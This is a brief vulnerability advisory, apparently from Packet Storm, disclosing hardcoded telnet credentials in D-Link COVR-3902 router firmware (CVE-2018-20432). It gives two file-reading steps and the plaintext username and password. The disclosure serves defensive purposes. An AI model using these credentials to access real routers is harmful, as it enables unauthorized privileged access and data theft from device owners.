COVR 3902 1.01B0 Hardcoded Credentials ≈ Packet Storm
*Title*: Telnet Hardcoded Credentials
*Summary*: The latest versions of the firmware have hardcoded default
credentials that can be exploited by an unauthenticated attacker to gain
privileged access to the firmware and to extract sensitive data
*Affected Firmware:* COVR-3902_REVA_ROUTER_FIRMWARE_v1.01B0
*CVE:* CVE-2018-20432
*Proof of Concept: *
Step 1: “cat ./etc/init0.d/S80telnetd.sh” to get a username
Step 2: “cat ./etc/config/image_sign” to get a password.
Username: Alphanetworks
Password: wrgac61_dlink.2015_dir883
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Cheers !!!
Team CSW Research Lab
Gloss